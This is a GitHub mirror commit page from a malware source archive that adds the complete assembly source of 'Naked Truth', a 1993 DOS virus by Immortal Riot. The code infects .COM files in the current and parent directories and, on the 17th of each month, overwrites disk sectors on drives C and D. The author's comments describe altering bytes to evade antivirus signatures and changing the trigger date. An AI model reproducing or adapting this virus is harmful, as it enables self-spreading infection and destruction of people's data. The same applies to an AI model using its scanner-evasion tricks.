mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-16 15:59:24 +00:00
Add files via upload
This commit is contained in:
vxunderground
GitHub
@@ -0,0 +1,245 @@
|
||||
; VirusName : Naked Truth
|
||||
; Country : Sweden
|
||||
; Author : The Unforiven / Immortal Riot
|
||||
; Date : 17/09/1993
|
||||
;
|
||||
; This is a mutation of the virus Born on the Fourth of July
|
||||
; This was written by TBSI. Mcafee scan used to find it as the
|
||||
; "ash" virus. But I changed on a few bytes, and he's now tricked.
|
||||
; Dr Alan Salomon "string" where placed at the beginning
|
||||
; of the code, but now he's cheated too..So...enjoy!
|
||||
;
|
||||
; This is a non-overwriting com infector, it is not resident.
|
||||
; It checks which day it is, and if it is the 17:ten the
|
||||
; virus will have a redeeming. A redeeming is very nice.
|
||||
;
|
||||
; This might not be the best mutation, but afterall, it
|
||||
; cheats the most common virus scanners. This was born
|
||||
; the seventeen of September 1993 (hate all date-names)
|
||||
;
|
||||
; Scan v108 can't find this, neither can S&S Toolkit 6.54,
|
||||
; havn't tried with TBScan/F-Prot, but they will probably
|
||||
; identify it as the "ash" virus.
|
||||
;
|
||||
; Regards : The Unforgiven / Immortal Riot
|
||||
|
||||
|
||||
code segment word public 'code' ;
|
||||
assume cs:code,ds:code ; I assume that too :)
|
||||
org 100h ;
|
||||
|
||||
main proc;edure ; Old pascal coder ?
|
||||
|
||||
|
||||
TITLE Naked Truth ;Mutation Name...
|
||||
TOF: ;Top-Of-File
|
||||
jmp short begin ;Skip over program
|
||||
NOP ;Reserve 3rd byte
|
||||
EOFMARK: db 26 ;Disable DOS's TYPE
|
||||
DB 0 ; <- S&S Toolkit "String-Cheater".
|
||||
|
||||
first_four: nop ;First run copy only!
|
||||
address: int 20h ;First run copy only!
|
||||
check: nop ;First run copy only!
|
||||
begin: call nextline ;Push BP onto stack
|
||||
nextline: pop bp ;BP=location of Skip
|
||||
sub bp,offset nextline ;BP=offset from 1st run
|
||||
|
||||
mov byte ptr [bp+offset infected],0
|
||||
;Reset infection count
|
||||
|
||||
lea si,[bp+offset first_four] ;Original first 4 bytes
|
||||
mov di,offset tof ;TOF never changes
|
||||
mov cx,4 ;Lets copy 4 bytes
|
||||
cld ;Read left-to-right
|
||||
rep movsb ;Copy the 4 bytes
|
||||
|
||||
mov ah,1Ah ;Set DTA address ...
|
||||
lea dx,[bp+offset DTA] ; ... to *our* DTA
|
||||
int 21h ;Call DOS to set DTA
|
||||
|
||||
mov ah,4Eh ;Find First ASCIIZ
|
||||
lea dx,[bp+offset immortal] ;DS:DX -} '*.COM',0
|
||||
lea si,[bp+offset filename] ;Point to file
|
||||
push dx ;Save DX
|
||||
jmp short continue ;Continue...
|
||||
|
||||
return:
|
||||
mov ah,1ah ;Set DTA address ...
|
||||
mov dx,80h ; ... to default DTA
|
||||
int 21h ;Call DOS to set DTA
|
||||
xor ax,ax ;AX= 0
|
||||
mov bx,ax ;BX= 0
|
||||
mov cx,ax ;CX= 0
|
||||
mov dx,ax ;DX= 0
|
||||
mov si,ax ;SI= 0
|
||||
mov di,ax ;DI= 0
|
||||
mov sp,0FFFEh ;SP= 0
|
||||
mov bp,100h ;BP= 100h (RETurn addr)
|
||||
push bp ; Put on stack
|
||||
mov bp,ax ;BP= 0
|
||||
ret ;JMP to 100h
|
||||
|
||||
nextfile: or bx,bx ;Did we open the file?
|
||||
jz skipclose ;No, so don't close it
|
||||
mov ah,3Eh ;Close file
|
||||
int 21h ;Call DOS to close it
|
||||
xor bx,bx ;Set BX back to 0
|
||||
skipclose: mov ah,4Fh ;Find Next ASCIIZ
|
||||
|
||||
continue: pop dx ;Restore DX
|
||||
push dx ;Re-save DX
|
||||
xor cx,cx ;CX= 0
|
||||
xor bx,bx
|
||||
int 21h ;Find First/Next
|
||||
jnc skipjmp
|
||||
jmp NoneLeft ;Out of files
|
||||
|
||||
skipjmp: mov ax,3D02h ;open file
|
||||
mov dx,si ;point to filespec
|
||||
int 21h ;Call DOS to open file
|
||||
jc nextfile ;Next file if error
|
||||
|
||||
mov bx,ax ;get the handle
|
||||
mov ah,3Fh ;Read from file
|
||||
mov cx,4 ;Read 4 bytes
|
||||
lea dx,[bp+offset first_four] ;Read in the first 4
|
||||
int 21h ;Call DOS to read
|
||||
|
||||
cmp byte ptr [bp+offset check],26 ;Already infected?
|
||||
je nextfile ;Yep, try again
|
||||
cmp byte ptr [bp+offset first_four],77 ;
|
||||
je nextfile ;
|
||||
|
||||
mov ax,4202h ;LSeek to EOF
|
||||
xor cx,cx ;CX= 0
|
||||
xor dx,dx ;DX= 0
|
||||
int 21h ;Call DOS to LSeek
|
||||
|
||||
cmp ax,0FD00h ;Longer than 63K?
|
||||
ja nextfile ;Yep, try again...
|
||||
mov [bp+offset addr],ax ;Save call location
|
||||
|
||||
mov ah,40h ;Write to file
|
||||
mov cx,4 ;Write 4 bytes
|
||||
lea dx,[bp+offset first_four] ;Point to buffer
|
||||
int 21h ;Save the first 4 bytes
|
||||
|
||||
mov ah,40h ;Write to file
|
||||
mov cx,offset eof-offset begin ;Length of target code
|
||||
lea dx,[bp+offset begin] ;Point to virus start
|
||||
int 21h ;Append the virus
|
||||
|
||||
mov ax,4200h ;LSeek to TOF
|
||||
xor cx,cx ;CX= 0
|
||||
xor dx,dx ;DX= 0
|
||||
int 21h ;Call DOS to LSeek
|
||||
|
||||
mov ax,[bp+offset addr] ;Retrieve location
|
||||
inc ax ;Adjust location
|
||||
|
||||
mov [bp+offset address],ax ;address to call
|
||||
mov byte ptr [bp+offset first_four],0E9h ;JMP rel16
|
||||
mov byte ptr [bp+offset check],26 ;EOFMARK
|
||||
|
||||
mov ah,40h ;Write to file
|
||||
mov cx,4 ;Write 4 bytes
|
||||
lea dx,[bp+offset first_four] ;4 bytes are at DX
|
||||
int 21h ;Write to file
|
||||
|
||||
inc byte ptr [bp+offset infected] ;increment counter
|
||||
jmp nextfile ;Any more?
|
||||
|
||||
NoneLeft: cmp byte ptr [bp+offset infected],2 ;2 infected
|
||||
jae TheEnd ;Party over!
|
||||
mov di,100h ;DI= 100h
|
||||
cmp word ptr [di],20CDh ;an INT 20h?
|
||||
je daycheck ;je daycheck
|
||||
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
|
||||
; Here instead of "JE" to theend here, jump to Daycheck, and if the day
|
||||
; isn't the 17:ten, just continue to theend, but if it is, have phun...
|
||||
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
|
||||
lea dx,[bp+offset riot] ;dot-dot method..
|
||||
; MOV DX,OFFSET RIOT ;shitty liner..
|
||||
mov ah,3Bh ;Set current directory
|
||||
int 21h ;CHDIR ..
|
||||
jc TheEnd ;We're through!
|
||||
mov ah,4Eh ;check for first com
|
||||
jmp continue ;Start over in new dir
|
||||
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
|
||||
; If you want to get a redeeming on some special month, just look at the
|
||||
; call to daycheck at "nonleft" and the call to daycheck. Change the call
|
||||
; to monthcheck, and "delete" the ";" on procedure monthcheck. But
|
||||
; remember, that makes, the virus much less destructive, and by that time,
|
||||
; all scanners has probably added a new scan-string on this one. Now it will
|
||||
; go off the 17:th every month. Feel free to modify this date as much you
|
||||
; want to.
|
||||
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄÄ--ÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä-ÄÄ-
|
||||
; monthcheck: ; check what month it is..
|
||||
; mov ah,2ah ;
|
||||
; int 21h ; dos to your service..
|
||||
; cmp dh,10 ; check if month 10..
|
||||
; je daycheck ; if yes jump to day check
|
||||
; jmp theend ; otherwise jump to theend.
|
||||
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
|
||||
DAYCHECK: ; Check what day it is..
|
||||
mov ah,2ah ;
|
||||
int 21h ; Dos to your service..
|
||||
cmp dl,17 ; Check if it's the forbidden night..
|
||||
je redeeming ; If yes, have a great fuck..
|
||||
jmp theend ; Otherwise jump to theend
|
||||
|
||||
REDEEMING: ; Havi'n such a great fuck..
|
||||
cli ; Cleaning all interrupts..>
|
||||
mov ah,2 ; Starting with drive C
|
||||
cwd ; Starting it from 0
|
||||
mov cx,0100h ; Continue to 256
|
||||
int 026h ; Direct disk-write
|
||||
jmp KARO ; Jump For Joy..(J4J)..
|
||||
|
||||
KARO: ; Yet another..
|
||||
CLI ; No law-breakers here!
|
||||
MOV AL,3 ; Set to fry drive D
|
||||
MOV CX,700 ; Set to write 700 sectors
|
||||
MOV DX,00 ; Starting at sector 0
|
||||
MOV DS,[DI+99] ; Put random crap in DS
|
||||
MOV BX,[DI+55] ; More crap in BX
|
||||
CALL REDEEMING ; Start it all over..
|
||||
|
||||
TheEnd: jmp return ; Getting a gold medal ?
|
||||
|
||||
Immortal: db '*.COM',0 ;File Specification
|
||||
Riot: db '..',0 ;'Dot-Dot'
|
||||
|
||||
MutationName: db " Naked Truth! "
|
||||
Sizefilling: db " Hi-Tech Assasins - Ready To Take On The World "
|
||||
morefilling: db " // DEATH TO ALL - PEACE AT LAST // "
|
||||
Copyleft: db ' The Unforgiven / Immortal Riot '
|
||||
|
||||
|
||||
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
|
||||
; None of this information is included in the virus's code. It is only
|
||||
; used during the search/infect routines and it is not necessary to pre-
|
||||
; serve it in between calls to them.
|
||||
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
|
||||
|
||||
EOF: ;End Of File..
|
||||
DTA: db 21 dup (?) ;internal search's data
|
||||
|
||||
attribute db ? ;attribute
|
||||
file_time db 2 dup (?) ;file's time stamp
|
||||
file_date db 2 dup (?) ;file's date stamp
|
||||
file_size db 4 dup (?) ;file's size
|
||||
filename db 13 dup (?) ;filename
|
||||
|
||||
infected db ? ;infection count
|
||||
|
||||
addr dw ? ;Address
|
||||
|
||||
main endp;rocedure
|
||||
code ends;egment
|
||||
|
||||
end main
|
||||
|
||||
; Greets goes out to : Raver, Metal Militia, Scavenger
|
||||
; and all other hi-tech assasins all over the world...
|
||||
Reference in New Issue
Block a user